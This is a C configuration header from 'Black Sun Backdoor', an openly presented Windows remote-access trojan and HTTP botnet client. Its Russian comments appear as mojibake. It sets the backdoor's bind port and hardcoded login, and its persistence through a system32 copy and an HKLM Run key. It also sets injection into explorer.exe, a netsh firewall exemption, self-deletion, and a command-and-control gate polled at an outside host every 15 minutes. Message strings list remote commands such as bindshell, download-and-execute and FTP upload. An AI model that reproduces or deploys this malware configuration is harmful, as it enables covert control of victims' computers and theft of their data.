src/conf.h

/*
 *  ---------------------------------------------------------------------
 *         ____  _            _     _____
 *        |  _ \| |          | |   / ____|
 *        | |_) | | __ _  ___| | _| (___  _   _ _ __
 *        |  _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
 *        | |_) | | (_| | (__|   < ____) | |_| | | | |
 *        |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
 *                 Black Sun Backdoor v1.0 prebeta
 *
 *                          (x) Cytech 2007
 *
 *  ---------------------------------------------------------------------
 *  [conf.h]
 *      Êîíôèãóðàöèîííûé ôàéë RAT. Ïîäðîáíåå â README
 *  ---------------------------------------------------------------------
 */

    // -------------- [  íàñòðîéêè áýêäîðà ]  -------------- //

    // ïîðò áýêäîðà
    #define     BINDPORT        2121

    // ëîãèí:ïàðîëü
    #define     AUTH            "cytech:cytech"

    // -------------- [ ñèñòåìíûå íàñòðîéêè ]  -------------- //

    // èìÿ ôàéëà â äèðåêòîðèè system32
    #define     EXENAME         "blacksun.exe"

    // êëþ÷ â ðååñòðå (HKEY_LOCAL_MACHINE)
    #define     REGKEY          "Software\\Microsoft\\Windows\\CurrentVersion\\Run"

    // íàçâàíèå ïîäêëþ÷à
    #define     REGNAME         "blacksun"

    // èìÿ ìóòåêñà
    #define     MUTEXNAME       "{F3532CE1-0832-11B1-A122-25000A276A73}"

    // ïðîöåññ, â êîíòåêñòå êîòîðîãî áóäåì ðàáîòàòü
    #define     FIRSTINJPROC    "explorer.exe"
    // íåîáõîäèìî îòìåòèòü, ÷òî åñëè â êà÷-âå ïðîöåññà âû âûáðàëè svchost.exe, òî âûâîäèòü MessageBox
    // íà óäàëåííîé ñèñòåìå áóäåò íåëüçÿ!

    // -------------- [  íàñòðîéêè http-áîòà ]  -------------- //

    // èñïîëüçîâàòü ãåéò? åñëè íåò, òî çàêîìåíòèðóéòå ýòó ñòðîêó
    #define     USEGATE

    // ïðèìåð http://fuckinghost.org/blacksun/getcommand.php

    // ñåðâåð íà êîòîðîì ñòîèò ãåéò
    #define     HTTPSERV        "fuckinghost.org"

    // ïîðò httpd
    #define     HTTPPORT        80

    // ïóòü äî ñêðèïòà getcommand.php
    #define     HTTPPATH        "/botnet/getcommand.php"

    // user-agent. ðóêàìè íå òðîãàòü!
    #define     USERAGENT       "blacksun"

    // ÷àñòîòà îáðàùåíèÿ áýêäîðà ê ãåéòó (ìèíóòû)
    #define     HTTPFREQ        15

    // -------------- [  âòîðîñòåïåííûå ïàðàìåòðû ]  -------------- //

    // èñïîëüçîâàòü äîáàâëåíèå â netsh firewall? åñëè íåò, òî çàêîìåíòèðóéòå ýòó ñòðîêó
    #define     NETSHADD

    // íàèìåíîâàíèå "êëèåíòà" ïðè çàêà÷êå ôàéëîâ ïî FTP
    #define     FTP_UPLOAD_CLIENT   "Blacksun-FTP-client"

    // àäðåñ, ãäå ëîàäåð áóäåò õðàíèòü äàííûå î ïîñëåäíåì ñêà÷åííîì ôàéëå
    #define     DATAKEY         "Software\\Microsoft\\Windows"

    // íàèìåíîâàíèå áàòíèêà ñîçäàâàåìîãî ïðè ñàìîóäàëåíèè
    #define     SELFDEL_BAT         "self.bat"

    // -------------- [  ñîîáùåíèÿ äëÿ êëèåíòà ]  -------------- //

    // òåêñòû ñîîáùåíèé îòïðàâëÿåìûõ ñåðâåðîì êëèåíòó ïðè âûïîëíåíèè êîìàíä
    #define     MSG_DONE            "\n done \n"
    #define     MSG_ERROR           "\n error \n"
    #define     MSG_AUTHFAILED      "\n authroization failed \n"
    #define     MSG_UNKNOWNARG      "\n unknown argument 2 \n"
    #define     MSG_UNKNOWNCMD      "\n unknown command \n"
    #define     MSG_CMDEXECUTED     "\n command executed \n"
    #define     MSG_MSGBOX          "\n messagebox ok \n"
    #define     MSG_BINDSH          "\n check bindshell now \n"
    #define     MSG_EXITPROC        "\n terminating process... \n"
    #define     MSG_KILLSELF        "\n selfdestruction started... \n"
    #define     MSG_LOADER_OK       "\n file downloaded \n"
    #define     MSG_LOADER_ERROR    "\n error downloading file \n"
    #define     MSG_LOADER_SEH      "\n SEH: failed URLDownloadToFile call \n"
    #define     MSG_EXECHIDE        "\n execution in HIDE mode done \n"
    #define     MSG_EXECSHOW        "\n execution in SHOW mode done \n"
    #define     MSG_EXECERROR       "\n error. cant execute \n"
    #define     MSG_CONNECTERROR    "\n error. cant connect \n"
    #define     MSG_FTPUPLOAD       "\n uploaded succesfull \n"
    #define     MSG_CDROMOPENED     "\n cdrom opened \n"
    #define     MSG_CDROMCLOSED     "\n cdrom closed \n"
    #define     MSG_MONON           "\n monitor on \n"
    #define     MSG_MONOFF          "\n monitor off \n"
    #define     MSG_WALLPSET        "\n wallpaper setuped, if wallpaper's format was BitMap (*.bmp) \n"
    #define     MSG_SHUTDOWNPRIV    "\n cant set shutdown privilege \n"
    #define     MSG_REBOOT          "\n rebooting... \n"
    #define     MSG_SHUTDOWN        "\n shutdowning... \n"
    #define     MSG_LOGOFF          "\n setting logoff mode... \n"
    #define     MSG_SLEEP           "\n setting sleep mode... \n"
    #define     MSG_STAND           "\n standing by... \n"
    #define     MSG_SWAPMOUSE       "\n mouse swapped \n"
    #define     MSG_UNSWAPMOUSE     "\n mouse unswapped \n"

    char
    VERSION[]=
    "\n :: BlackSun Remote Administrative Tool v1.0 prebeta :: "
    "\n        Darkcoded by Cytec, Hell Knights Crew          "
    "\n                 hellknights.void.ru                    ";

    // -------------- [  ðóêàìè íå òðîãàòü! ]  -------------- //

    // àäðåñ áàçû
    #define     BASEADDRESS     0x29A00000
    // ïðèâåëåãèè îòëàä÷èêà
    #define     SE_DEBUG_PRIV       "SeDebugPrivilege"

    // íàèìåíîâàíèÿ DLL
    #define     KERNEL32_DLL        "kernel32.dll"
    #define     ADVAPI32_DLL        "advapi32.dll"
    #define     SHELL32_DLL         "shell32.dll"
    #define     WS2_32_DLL          "ws2_32.dll"
    #define     URLMON_DLL          "urlmon.dll"
    #define     WININET_DLL         "wininet.dll"
    #define     WINMM_DLL           "winmm.dll"
    #define     IMGHLP_DLL          "imagehlp.dll"
    #define     USER32_DLL          "user32.dll"

    // netsh
    #define     NETSH_ADD_1         "netsh firewall set allowedprogram "
    #define     NETSH_ADD_2         " blacksun ENABLE"

    // comspec
    #define     COMSPEC             "ComSpec"